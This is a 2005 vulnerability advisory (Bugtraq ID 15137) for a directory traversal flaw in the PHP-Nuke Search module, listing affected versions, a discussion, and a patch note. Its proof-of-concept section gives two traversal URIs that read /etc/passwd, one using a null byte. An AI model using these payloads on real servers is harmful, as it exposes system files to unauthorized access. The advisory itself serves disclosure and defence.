PHPNuke Modules.PHP Search Module Remote Directory Traversal Vulnerability

BID:15137

Info

PHPNuke Modules.PHP Search Module Remote Directory Traversal Vulnerability

Bugtraq ID: 15137
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 19 2005 12:00AM
Updated: Oct 19 2005 12:00AM
Credit: [email protected] is credited with the discovery of this vulnerability.
Vulnerable: PHPNUke NukeFix 3.1 for V7.8
Francisco Burzi PHP-Nuke 7.9
Not Vulnerable:

Discussion

PHPNuke Modules.PHP Search Module Remote Directory Traversal Vulnerability

PHPNuke Search Module is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

A remote attacker may view files that are only intended to be accessible to authenticated and authorized users. Information obtained may be used in further attacks.

Exploit / POC

PHPNuke Modules.PHP Search Module Remote Directory Traversal Vulnerability

An exploit is not required.

Proof of concept URI have been provided:

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../../../../../../../../../etc/passwd%00

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../.
./../../etc/passwd

Solution / Fix

PHPNuke Modules.PHP Search Module Remote Directory Traversal Vulnerability

Solution:
A patch is available to fix the affected version; this patch has not been confirmed by Symantec Corporation or the vendor.


PHPNUke NukeFix 3.1 for V7.8

Francisco Burzi PHP-Nuke 7.9

References

PHPNuke Modules.PHP Search Module Remote Directory Traversal Vulnerability

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